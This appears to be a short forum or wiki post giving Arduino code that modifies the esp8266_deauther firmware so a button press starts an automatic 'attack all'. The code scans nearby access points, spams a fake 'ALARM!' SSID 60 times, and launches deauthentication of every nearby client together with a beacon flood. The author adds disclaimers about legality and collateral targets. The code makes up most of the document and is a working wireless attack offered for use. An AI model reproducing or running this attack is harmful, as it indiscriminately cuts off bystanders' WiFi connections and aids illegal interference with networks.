Applying and using the following modifications are up to your responsibility.
I provide this example for you to better understand the code and how such an automatic attack-all could work.
It doesn't mean it will work, I won't provide you with further assistence, or keep this up-to-date.
These modifications make it easy to attack devices you wouldn't want to attack, keep that in mind!
You may easily violate law by using such an attack in public space.
Replace cli
with serialInterface
if you're using an older version of esp8266_deauther!
In the end of setup():
pinMode(D5, INPUT_PULLUP); // enable button pin
pinMode(D4, OUTPUT); // enable LED pin
In the beginning of loop():
if(digitalRead(D5)){
if(!attack.isRunning()){
cli.runCommand("stopap"); // stop access point and web interface
cli.runCommand("set beaconinterval true"); // change beacon interval from 10/s to 1/s for better performance
cli.runCommand("scan aps -c 60s"); // start scan for access points each minute
cli.runCommand("add ssid ALARM! -cl 60 -f"); // add SSID "ALARM!" 60 times
cli.runCommand("attack -da -b"); // start deauth all and beacon attack
digitalWrite(D4, LOW); // turn LED on
}
}else{
if(attack.isRunning()){
scan.stop(); // stop scan
attack.stop(); // stop attack
digitalWrite(D4, HIGH); // turn LED off
}
}
If you are "new" you have no business handling/operating a device that functions as this is written to do.